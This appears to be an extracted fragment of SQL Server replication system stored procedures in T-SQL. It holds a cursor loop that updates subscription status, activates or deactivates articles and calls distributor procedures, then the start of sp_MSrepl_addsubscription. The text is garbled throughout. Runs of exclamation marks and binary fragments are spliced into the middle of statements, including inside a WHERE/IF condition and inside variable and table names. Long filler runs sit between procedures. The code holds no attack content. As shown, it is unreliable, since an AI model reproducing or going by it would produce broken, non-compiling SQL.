					#sysextendedarticlesview art,
					syspublications pub,
					@publication_ids pi
			WHERE	((@publication = N'%') or (pub.name = @publication))
			  AND	((@article = N'%') or (art.name = @article))
			  AND	sub.srvid = -1
			  AND	sub.artid = art.artid
			  AND	art.pubid = pub.pubid
		  	  AND	pub.pubid = pi.pubid
			
            SELECT @finished_virtual = 1
        END

        OPEN #hCsubstatus
        FETCH #hCsubstatus INTO @current_publication, @artid, @tabid, @srvid, @sub_name, @dest_db,
            @sub_status, @non_sql_flag, @repl_freq, @art_type,
            @immediate_sync, @enabled_for_internet,
            @allow_anonymous, @subscription_type, @sync_type, @update_mode,
            @art_name, @login_name, @loopback_detection,@pubid, 
            @allow_initialize_from_backup, @sync_method, @nosync_type

        WHILE (@@fetch_status <> -1)
        BEGIN

            IF  suser_sname(suser_sid()) <> @login_name AND is_srvrolemember('sysadmin') <> 1  
                AND is_member ('db_owner') <> 1
            BEGIN
                if @@trancount > 0
                begin
                    ROLLBACK TRANSACTION changesubstatus
                    commit tran
                end
                RAISERROR (14126, 11, -1)
                RETURN (1)
            END
            /*
            ** condition 1:
            ** If current status is same as new status, and status is not 'initiated' do nothing.
            ** If both old and new status = 'initiated', this indicates that the 
            ** snapshot agent previously bombed out between the initiation and activation stages and
            ** is now again trying to sync the publication. 
            **
            ** condition 2:
            ** @auto_sync_only is used by snapshot for immediate_sync
            ** publications.
            **
            ** condition 3:
            ** Because sp_MSactivate_auto_sub (and thus the snapshot agent)
            ** calls this procedure for all subscriptions, we need to ignore
            ** the real subscriptions that are already active so that they won't be
            ** transitioned to the initiated state.  If we don't do this, those
            ** subscriptions will be resynced using the new snapshot. 
 	     **
            ** however, we DO want a new snapshot to be generated for virtual
            ** subscriptions to active publications.
            **
            ** condition 4:
            ** Because the heterogeneous log reader (with @from_auto_sync = 1)
            ** calls this procedure for all subscriptions, we need to ignore
            ** the real subscriptions that are already active so that they won't be
            ** transitioned to the initiated state.  If we don't do this, those
            ** subscriptions will be resynced using the new snapshot.
	**
            ** however, we DO want a new snapshot to be generated for virtual
            ** subscriptions to active publications.
            **
            ** condition 5:
            ** Only initiated subscription can be activated by concurrent
            ** snapshot, this is to avoid new subscriptions added during 
            ** concurrent snapshot generation from being partially 
            ** activated (active at publisher but inactive at distributor)
            **
            */
            IF  (@sub_status = @statusid AND @sub_status <> @initiated AND 
            		/** An exception is after adding an article into a publication with concurrent-snapshot, where 
            		  ** the existing subscriptions are already 'active'. Upon finishing another concurrent snapshot, we 
            		  ** need to ensure the article/table of any existing 'active' subscription is disabled for offrow logging.*/
                   NOT (@sub_status = @active AND @statusid = @active AND @srvid >= 0 AND @from_auto_sync = 1 AND @sync_method in (3,4))) OR
                (@from_auto_sync = 1 AND @sync_type <> @automatic) OR
                (@sub_status = @active AND @statusid = @initiated AND @srvid <> -1 AND @from_auto_sync = 1 AND 
                   /** An exception is after adding an article into a publication with concurrent-snapshot, where the 
                     ** existing subscriptions are already 'active'. Upon starting another concurrent snapshot, we need to 
                     ** ensure the article/table of any existing 'active' subscription is enabled for offrow logging.*/
                  NOT (@sub_status = @active AND @statusid = @initiated AND @srvid >= 0 AND @from_auto_sync = 1 AND @sync_method in (3,4))) OR
                !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
E2&v!(@sub_status in (@subscribed, @inactive) AND @statusid = @active AND @from_auto_sync = 1 AND @sync_method in (3,4))
            BEGIN
                FETCH #hCsubstatus INTO @current_publication, @artid, @tabid, @srvid, @sub_name,
                   @dest_db, @sub_status, @non_sql_flag, @repl_freq, @art_type, 
                   @immediate_sync, @enabled_for_internet,
                   @allow_anonymous, @subscription_type, @sync_type, @update_mode,
                   @art_name, @login_name, @loopback_detection, @pubid, 
                   @allow_initialize_from_backup, @sync_method, @nosync_type

                CONTINUE
            END

                if @sub_status = @active AND (@statusid = @active OR @statusid = @initiated) AND @srvid >= 0 AND @from_auto_sync = 1 AND @sync_method in (3,4) 
                begin
                     set @alreadyactiveforCSS = 1
                end
                else
                begin
                     set @alreadyactiveforCSS = 0
                end
                
 			if((@publisher IS NULL) or (@publisher_type = N'MSSQLSERVER'))
			begin
				EXEC sys.sp_MSget_qualified_name @tabid, @qualified_name OUTPUT
				IF @qualified_name IS NULL
					goto UNDO
			end

            -- If changing a virtual subscription to 'subscribed' status
            -- change the immediate_sync_ready bit
            if @statusid = @subscribed and @sub_name is NULL
            begin
                UPDATE syspublications SET immediate_sync_ready = 0 WHERE 
                    pubid = @pubid and
                    immediate_sync_ready <> 0
                IF @@ERROR <> 0
                BEGIN
                  if @@trancount > 0
                    begin
                        ROLLBACK TRANSACTION changesubstatus
                        commit tran
                    end
                  RETURN (1)
                END
            end

            /*
            ** Update syssubscription status
            */
            if @alreadyactiveforCSS = 0
            begin
			UPDATE	syssubscriptions
			SET		status = @statusid
			FROM	syssubscriptions sub,
					sysextendedarticlesview art,
					syspublications pub
			WHERE	pub.name LIKE @current_publication
			  AND	art.artid = @artid
			  AND	((sub.srvname = @sub_name) OR (sub.srvid < 0 and sub.srvid = @srvid))
			  AND	sub.artid = @artid
			  AND	art.pubid = pub.pubid
			  AND	sub.dest_db = @dest_db
			  AND	pub.pubid = @pubid
			
           		 IF @@ERROR <> 0
			BEGIN
				IF @@trancount > 0
				BEGIN
					ROLLBACK TRANSACTION changesubstatus
					COMMIT TRAN
				END
				RAISERROR (14053, 16, -1)
				RETURN (1)
			END
            end
            --
            -- Subscription reinitialization processing for Immediate 
            -- and Queued publications
            --
            if (@update_mode in (1,2,3,4,5,6,7)) and @alreadyactiveforCSS = 0
            begin
                select @retcode = 0
                IF ((@statusid != @active) AND (@sub_status = @active))
                begin
                    --
                    -- If we are going from active state to subscribed
                    -- set the reinit column so that no more updates from
                    -- subscriber are applied until (re)activation
                    --
                    update dbo.syssubscriptions
                    set queued_reinit = 1
                    where 
                        artid = @artid 
                        and ((srvname = @sub_name) OR (srvid < 0 and srvid = @srvid))
                        and dest_db = @dest_db
                end
                ELSE IF ((@statusid = @active) AND (@sub_status != @active ))
                begin
                    --
                    -- If we are going from subscribed state to active state
                    --
                    if (@update_mode = 1)
                    begin
                        --
                        -- Sync tran case : reset the reinit column
                        --
                        update dbo.syssubscriptions
                        set queued_reinit = 0
                        where 
                            artid = @artid 
                            and ((srvname = @sub_name) OR (srvid < 0 and srvid = @srvid))
                            and dest_db = @dest_db
                    end
                    --
                    -- For queued case : we do not need to send compensating
                    -- command anymore, sp_addqueued_artinfo will do the 
                    -- queue reinitialization for all types of queued
                    -- subscriptions
                    --
                end                 
                --
                -- Check for error
                --
                if (@@error != 0 or @retcode != 0)
                begin
                    if @@trancount > 0
                    begin
                        ROLLBACK TRANSACTION changesubstatus
                        commit tran
                    end
                    RAISERROR (14053, 16, -1)
                    RETURN (1)
                end
            end

            /*
            ** Get timestamp of subscription.
            */
            if @publisher IS NULL
                -- SQL Server publisher
                EXEC @retcode = sys.sp_replincrementlsn_internal @xact_seqno OUTPUT
            else
                -- Heterogeneous publisher	
                EXEC @retcode = dbo.sp_replincrementlsn @xact_seqno OUTPUT, @publisher
            IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
               if @@trancount > 0
                begin
                    ROLLBACK TRANSACTION changesubstatus
                    commit tran
                end
               RETURN (1)
            END

            select @sub_ts = @xact_seqno
            IF @sub_ts IS NULL
                        BEGIN
                            if @@trancount > 0
                            begin
                                ROLLBACK TRANSACTION changesubstatus
                                commit tran
                            end
                            RAISERROR (14053, 16, -1)
                            RETURN (1)
                        END
            
            -------------------------------------------------------------------
            -- If initiating the subscription, toss a SYNCINIT token into the 
            -- log for the article and return LSN as a results set
            --
            -- Note:  This should come after the subscription LSN is obtained.
            -- in order to assure proper application of SYNSTAT tokens in the
            -- distribution database
            -------------------------------------------------------------------
            -- Make sure @sub_status <> @initiated
            -- Skip HREPL
            IF @statusid = @initiated
				and @publisher_type = N'MSSQLSERVER'
            BEGIN
                -- Exclude schema-only articles here (proc exec article as well?)
                IF @art_type not in (0x20, 0x40, 0x60, 0x80, 0xA0, 24, 8)
                BEGIN
                    -- set filtered status.  Must log old text information during initiated state
                    -- in order to support update splitting

                    exec sys.sp_MSsetfilteredstatus @tabid, @alreadyactiveforCSS

                    -- set nonsqlsub status.  must prevent UPDATETEXT operations during
                    -- initiated state

                    exec sys.sp_MSarticlecol @artid, NULL,N'nonsqlsub', N'add'
                END
                exec sp_replpostsyncstatus @pubid, @artid, 1, @syncinit_lsn output
                if @f_syncstat_posted = 0
                begin
                    if @from_auto_sync = 1
                    begin
                         select @pubid, @artid, @synci!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
EXnv!nit_lsn
                    end
                    select @f_syncstat_posted = 1
                end

            END

            -------------------------------------------------------------------
            -- If changing the state FROM initiated, post a SYNCDONE token to the 
            -- log for the article. 
            -------------------------------------------------------------------
            -- Exclude schema-only articles here (proc exec article as well?)
            -- Exclude HREPL
            IF (@sub_status = @initiated or @alreadyactiveforCSS = 1) 
				and @statusid <> @initiated
				and @publisher_type = N'MSSQLSERVER'
            BEGIN
                IF @art_type not in (0x20, 0x40, 0x60, 0xA0, 0x80, 24, 8)
                BEGIN
                    -- reset filtered status to normal value

                    exec sys.sp_MSsetfilteredstatus @tabid

                    -- clear nonsqlsub status for this article.

                    exec sys.sp_MSarticlecol @artid, NULL,N'nonsqlsub', N'drop'

                END
                --if @f_syncstat_posted = 0
                --begin
                    exec sp_replpostsyncstatus @pubid, @artid, 0, @syncinit_lsn output
                --  select @f_syncstat_posted = 1
                --end
            END

	    if @alreadyactiveforCSS = 1
	    begin
	    	    FETCH #hCsubstatus INTO @current_publication, @artid, @tabid, @srvid, @sub_name,
                   @dest_db, @sub_status, @non_sql_flag, @repl_freq, @art_type, 
                   @immediate_sync, @enabled_for_internet,
                   @allow_anonymous, @subscription_type, @sync_type, @update_mode,
                   @art_name, @login_name, @loopback_detection, @pubid, 
                   @allow_initialize_from_backup, @sync_method, @nosync_type
                   
                  CONTINUE
            end
            
            /*
            ** If activating subscription, update sysextendedarticlesview, sys.objects and
            ** MSrepl_subscriptions.
            */
            IF @statusid in ( @active, @initiated )
            BEGIN
                /*
                ** Update status of article to show it has been activated.
                */
                IF @repl_freq = 0 and EXISTS (SELECT * FROM sysextendedarticlesview WHERE artid = @artid
                    AND status & 1 <> 1)
                BEGIN
                    -- At most one row will be updated in the following two updates as the artid is unique
                    -- among both sysarticles and sysschemaarticles
                    UPDATE sysarticles SET status = status | 1 WHERE artid = @artid
                    IF @@ERROR <> 0
                    BEGIN
                        if @@trancount > 0
                        begin
                            ROLLBACK TRANSACTION changesubstatus
                            commit tran
                        end
                        RAISERROR (14069, 16, -1)
                        RETURN (1)
                    END
                    UPDATE sysschemaarticles SET status = status | 1 WHERE artid = @artid
                    IF @@ERROR <> 0
                    BEGIN
                        if @@trancount > 0
                        begin
                            ROLLBACK TRANSACTION changesubstatus
                            commit tran
                        end
                        RAISERROR (14069, 16, -1)
                        RETURN (1)
                    END
                    SELECT @art_change = 1
                END

                    /*
                    ** Turn the replication flag on for this object in the
                    ** sys.objects table (make it logbased).
                    */

                -- For Yukon non-concurrent snapshot processing, the
                -- activation would have been accomplished outside and
                -- before the bcp&subscription activation transaction so
                -- bypass the activation as appropriate 
                if @repl_freq = 0 and @skipobjectactivation = 0 and @art_type not in (0x20,0x40,0x60,0xA0,0x80,8,24)
                BEGIN
                    SELECT @objid = objid FROM sysextendedarticlesview WHERE artid = @artid
                    IF @objid IS NOT NULL
                    BEGIN
							EXEC @retcode = sys.sp_MSLockMatchID @qualified_name = @qualified_name, @tabid = @objid
							IF @@ERROR <> 0 or @retcode <> 0
								goto UNDO

                        EXEC %%Relation(ID = @objid).SetReplicated(Value = 1)
                        IF @@ERROR <> 0
                        BEGIN
                            if @@trancount > 0
                            begin
                                ROLLBACK TRANSACTION changesubstatus
                                commit tran
                            end
                            RAISERROR (14068, 16, -1)
                            RETURN (1)
                        END
                    END
                END
            END

            /*
            ** Update status of all columns if subscriber is non-SQL Server.
            */
            IF @publisher_type = N'MSSQLSERVER'
            BEGIN
				IF @non_sql_flag <> 0 AND ( @art_type & 1 ) = 1
				BEGIN
					IF @statusid = @subscribed OR @statusid = @active
					BEGIN
						EXEC @retcode = sys.sp_MSarticlecol @artid, NULL, 'nonsqlsub', 'add'
						
						IF @@ERROR <> 0 OR @retcode <> 0
						BEGIN
							if @@trancount > 0
							begin
								ROLLBACK TRANSACTION changesubstatus
								commit tran
							end
							RAISERROR (14068, 16, -1)
							RETURN (1)
						END
					END
					ELSE IF @statusid = @inactive
					BEGIN
						EXEC @retcode = sys.sp_MSarticlecol @artid, NULL, 'nonsqlsub', 'drop'

						IF @@ERROR <> 0 OR @retcode <> 0
						BEGIN
							if @@trancount > 0
							begin
								ROLLBACK TRANSACTION changesubstatus
								commit tran
							end
							RAISERROR (14068, 16, -1)
							RETURN (1)
						END
					END
				END
			END
            
            /*
            ** If deactivating subscription, update sysextendedarticlesview, sys.objects and
            ** MSrepl_subscriptions.
            ** NOTE: Don't deactivate the article if it is in a publication that allows 
            ** is enabled for autonosyncs. 
            */

            IF @statusid NOT IN( @active, @initiated ) AND @sub_status IN ( @active, @initiated )
            BEGIN
                /*
                ** Set the article status to 'inactive' if there are
                ** no other active subscriptions on it.
                */
                IF NOT EXISTS (SELECT * FROM syssubscriptions WHERE
                   artid = @artid AND status = @active)
                BEGIN
                    IF EXISTS (SELECT * FROM sysextendedarticlesview WHERE artid = @artid
                        AND status & 1 = 1 and @allow_initialize_from_backup = 0)
                    BEGIN
                        -- If the snapshot agent is running, we will abort here
                        -- as we don't want to deactivate articles under the
                        -- snapshot agent's feet so to speak.
                        exec @retcode = sp_MSissnapshotagentrunning @publication = @publication
                        IF @retcode <> 0
                        BEGIN
                            if @@trancount > 0
                            BEGIn
                                ROLLBACK TRANSACTION changesubstatus
                                COMMIT TRAN
                            END
                            RAISERROR(21861, 16, -1)
                            RETURN (1)
                        END


                        -- At most one row will be updated in the following two updates as the artid is unique
                        -- among both sysarticles and syss!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
E75!h>8^}p!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
E,v!chemaarticles
                        UPDATE sysarticles SET status = status & ~1 WHERE
                            artid = @artid
                        IF @@ERROR <> 0
                        BEGIN
                            if @@trancount > 0
                            begin
                                ROLLBACK TRANSACTION changesubstatus
                                commit tran
                            end
                            RAISERROR (14069, 16, -1)
                            RETURN (1)
                        END
                        UPDATE sysschemaarticles SET status = status & ~1 WHERE
                            artid = @artid
                        IF @@ERROR <> 0
                        BEGIN
                            if @@trancount > 0
                            begin
                                ROLLBACK TRANSACTION changesubstatus
                                commit tran
                            end
                            RAISERROR (14069, 16, -1)
                            RETURN (1)
                        END

                        SELECT @art_change = 1
                    END
                END

				declare @cdc_tracked_tables table (object_id int)
				
				if object_id('cdc.change_tables') is not null
				begin
					insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
				end

                /*
                ** Set the object replication bits  to 'inactive' if
                ** there are no other active subscriptions on the
                ** table and the object is not published in a 
                ** publication that allows is enabled for autonosyncs.
                */
                IF @publisher_type = N'MSSQLSERVER'
                	AND	NOT EXISTS
					(
						SELECT	*
						FROM	syssubscriptions
						WHERE	artid IN
								(
									SELECT	sa.artid
									FROM	sysextendedarticlesview sa,
											syspublications sp
									WHERE	sa.objid = @tabid
									  AND	sa.pubid = sp.pubid
									  AND	sp.repl_freq = 0
								)
						  AND	status = @active
					)
					AND NOT EXISTS
					(
						SELECT	* 
						FROM	sysextendedarticlesview sa INNER JOIN syspublications sp
						  ON	sa.pubid = sp.pubid 
						WHERE	sa.objid = @tabid 
						  AND	sp.allow_initialize_from_backup = 1
					)
					AND not exists
					(	
						select * from @cdc_tracked_tables where object_id = @tabid
					)
                BEGIN
                    SELECT @objid = objid FROM sysextendedarticlesview WHERE artid = @artid and @art_type not in (0x20,0x40,0x60,0xA0,0x80,8,24)
                    IF @objid IS NOT NULL
                    BEGIN
							EXEC @retcode = sys.sp_MSLockMatchID @qualified_name = @qualified_name, @tabid = @objid
							IF @@ERROR <> 0 or @retcode <> 0
								goto UNDO

                        EXEC %%Relation(ID = @objid).SetReplicated(Value = 0)
                        IF @@ERROR <> 0
                        BEGIN
                            RAISERROR (14068, 16, -1)
                            if @@trancount > 0
                            begin
                                ROLLBACK TRANSACTION changesubstatus
                                commit tran
                            end
                            RETURN (1)
                        END
                    END
                END
            END
            
            -- Note:  Not only do we need to have the replupdateschema already executed
            -- so we can handle rollbacks, we also need to
            -- acquire the schema lock before RPC to the distributor to avoid livelock
            -- with snapshot agents. Snapshot agents acquire lock on user table before
            -- updating the distribution db.

            if (@no_distproc = 0) and (@distribdb IS not NULL and @distributor IS not NULL)
            begin
                /*
                ** Add the active subscription to the distributor's
                ** subscriptions table if changing status from @inactive
                */
                IF @sub_status = @inactive 
                -- From inactive to subscribed or active
                BEGIN
					DECLARE @null_char sysname
                    DECLARE @zero_bit bit
                    
					SELECT @null_char = NULL
                    SELECT @zero_bit = 0

					-- Check strict security requirements (>= 90 Security)
					IF sys.fn_yukonsecuritymodelrequired(NULL) = 1
					BEGIN
						SELECT @internal = N'YUKON ADD SUB'
					END
					ELSE
					BEGIN
						SELECT @internal = N'PRE-YUKON'
					END

                    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSadd_subscription'
                    EXEC @retcode = @distproc @publisher_local, @pub_db, @sub_name, 
                        @artid, @dest_db, @statusid, @sub_ts,
                        @current_publication, 
                        @null_char, -- Pass null to @article, we already gave @artid 
                        @subscription_type,
                        --@immediate_sync, 
                        @sync_type, 
                        @zero_bit,
                        @frequency_type,
                        @frequency_interval,
                        @frequency_relative_interval,
                        @frequency_recurrence_factor,
                        @frequency_subday,
                        @frequency_subday_interval,
                        @active_start_time_of_day,
                        @active_end_time_of_day,
                        @active_start_date,
                        @active_end_date,
                        @optional_command_line = @optional_command_line,
                        -- synctran
                        @update_mode = @update_mode,
                        @loopback_detection = @loopback_detection,
                        @distribution_jobid = @distribution_jobid OUTPUT,
                        @dts_package_name = @dts_package_name,
                        @dts_package_password = @dts_package_password,
                        @dts_package_location = @dts_package_location,
                        @distribution_job_name = @distribution_job_name,
                        @internal = @internal,
                        @publisher_engine_edition = @publisher_engine_edition,
                        @nosync_type = @nosync_type
                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        RAISERROR (14070, 16, -1)
                        if @@trancount > 0
                        begin
                            ROLLBACK TRANSACTION changesubstatus
                            commit tran
                        end
                        RETURN (1)
                    END
                END
                ELSE
                -- From subscribed or active to others
                BEGIN
                    /*
                    ** Drop the deactivated subscription from the distributor's
                    ** subscriptions table.
                    */
                    IF @statusid = @inactive
                    -- From subscribed to inactive or from active to inactive
                    BEGIN
                        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSdrop_subscription'
                        EXEC @retcode = @distproc @publisher_local, @pub_db, @sub_name,  @artid, @dest_db, @current_publication

                        IF @@ERROR <> 0 OR @retcode <> 0
                        BEGIN
                            RAISERROR (14070, 16, -1)
                            if @@trancount > 0
                            begin
                                ROLLBACK TRANSACTION changesubstatus
                                commit tran
                !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	

E4!            end
                            RETURN (1)
                        END
                    END
                    ELSE 
                    -- From subscribed to initiated to active or from active to subscribed.
                    BEGIN
                        -- Don't do it if activating the subscription for snapshot agent.
                        --IF NOT (@from_auto_sync = 1 AND @statusid in(@active, @initiated) )
                        IF NOT (@from_auto_sync = 1 AND @statusid in(@active) )
                        BEGIN
                            SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSupdate_subscription'
                            EXEC @retcode = @distproc @publisher_local, @pub_db, @sub_name, @artid, @statusid, @sub_ts, @dest_db
                            IF (@@ERROR <> 0 OR @retcode <> 0) and @ignore_distributor_failure = 0
                            BEGIN
                                RAISERROR (14070, 16, -1)
                                if @@trancount > 0
                                begin
                                    ROLLBACK TRANSACTION changesubstatus
                                    commit tran
                                end
                                RETURN (1)
                            END
                        END
                    END
                END
            end

            /*
            ** Set internal object replication bit  to 'inactive' if
            ** there are no other active subscriptions on the
            ** procedure, but don't try to deactivate the procedure
            ** if it is published in a publication that allows 
            ** is enabled for autonosyncs. 
            */

			IF @statusid = @inactive AND @sub_status IN (@active,@initiated) AND
                NOT EXISTS (SELECT * FROM syssubscriptions WHERE
                artid IN (SELECT artid FROM sysextendedarticlesview WHERE
                objid = @tabid) AND status IN (@active,@initiated) ) AND
                NOT EXISTS (SELECT * 
                              FROM sysextendedarticlesview sa
                            INNER JOIN syspublications sp
                                ON sa.pubid = sp.pubid
                             WHERE sa.objid = @tabid
                               AND sp.allow_initialize_from_backup = 1)
            BEGIN
                   /*
                   ** If it's a procedure execution article, clear proc status bits
                   */
                IF (@art_type & 8 ) = 8
                BEGIN
						EXEC @retcode = sys.sp_MSLockMatchID @qualified_name = @qualified_name, @tabid = @tabid
						IF @@ERROR <> 0 or @retcode <> 0
							goto UNDO

                    EXEC %%Module(ID = @tabid).SetProcReplicated(Value = 0)
                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END                                    
                    EXEC %%Module(ID = @tabid).SetProcReplSerialOnly(Value = 0)
                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END                                    
                END
            END


            /* Turn on object replication */

            ELSE IF @statusid = @active
            BEGIN
					IF( @art_type & 8 ) = 8
					begin
						EXEC @retcode = sys.sp_MSLockMatchID @qualified_name = @qualified_name, @tabid = @tabid
						IF @@ERROR <> 0 or @retcode <> 0
							goto UNDO
					end
                IF (@art_type & 24 ) = 24
                BEGIN
                    EXEC %%Module(ID = @tabid).SetProcReplicated(Value = 1)
                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END                                    
                    EXEC %%Module(ID = @tabid).SetProcReplSerialOnly(Value = 1)
                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END                                    
                END
                ELSE IF( @art_type & 8 ) = 8
                BEGIN
                    EXEC %%Module(ID = @tabid).SetProcReplicated(Value = 1)
                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END                                    
                END
            END

           /*
           ** Get next row.
           */
           FETCH #hCsubstatus INTO @current_publication, @artid, @tabid, @srvid, @sub_name, @dest_db,
           @sub_status, @non_sql_flag, @repl_freq, @art_type ,  
           @immediate_sync, @enabled_for_internet,
           @allow_anonymous, @subscription_type, @sync_type, @update_mode,
           @art_name, @login_name, @loopback_detection, @pubid, 
           @allow_initialize_from_backup, @sync_method, @nosync_type
                                
       END  -- end while for cursor

       CLOSE #hCsubstatus
       DEALLOCATE #hCsubstatus
    
    END -- end while for virtual and real

    -- force refresh of article cache
    -- Only do it if necessary
    -- No need on brute force cleanup or for heterogeneous publications
    IF ( @art_change = 1 ) and ( @ignore_distributor = 0 ) and (@publisher IS NULL)
        EXECUTE sys.sp_replflush

    COMMIT TRANSACTION
    drop table #sysextendedarticlesview
    RETURN(0)

UNDO:
    RAISERROR (14068, 16, -1)
    IF @@trancount > 0
    BEGIN
        ROLLBACK TRANSACTION changesubstatus
        COMMIT TRAN
    END                                
    RETURN (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(E8lJvGcreate procedure sys.sp_MSrepl_addsubscription
(
    @publication			sysname,
    @article				sysname = 'all',
    @subscriber				sysname = NULL,
    @destination_db			sysname = NULL,
    @sync_type				nvarchar (255) = 'automatic',
    @status				sysname = NULL,
    @subscription_type			nvarchar(4) = 'push',
    -- SyncTran
    @update_mode			nvarchar(30) = 'read only',		-- Can be 'read only', 'sync tran', 'queued tran', 'failover', 'queued failover'
    @loopback_detection			nvarchar(5) = NULL,				-- 'true' or 'false'
    -- end SyncTran
    @frequency_type			int = NULL, -- defaults to 64
    @frequency_interval			int = NULL, -- defaults to 1
    @frequency_relative_interval	int = NULL, -- defaults to 1
    @frequency_recurrence_factor	int = NULL, -- defaults to 0
    @frequency_subday			int = NULL, -- defaults to 4
    @frequency_subday_interval		int = NULL, -- defaults to 5
    @active_start_time_of_day		int = NULL, -- defaults to 0
    @active_end_time_of_day		int = NULL, -- defaults to 235959
    @active_start_date			int = NULL, -- defaults to 0
    @active_end_date			int = NULL, -- defaults to 99991231
    @optional_command_line		nvarchar(4000) = NULL,
    
    @reserved				nvarchar(10) = NULL,	-- reserved, used when calling from other system
								-- stored procedures, it will be set to 'internal'.
								-- It should never be used directly
    @enabled_for_syncmgr		nvarchar(5) = NULL,	-- Enabled for SYNCMGR: true or false
    -- Agent offload
    @offloadagent			bit = 0,
    @offloadserver			sysname = NULL,
    -- End of agent offload
    -- DTS package name
    @dts_package_name			sysname  = NULL,	-- value will be sent and validated at distributor
    @dts_package_password		sysname = NULL,
    @dts_package_location		nvarchar(12) = NULL,
    @distribution_job_name		sysname = NULL,
    @publisher				sysname = NULL,
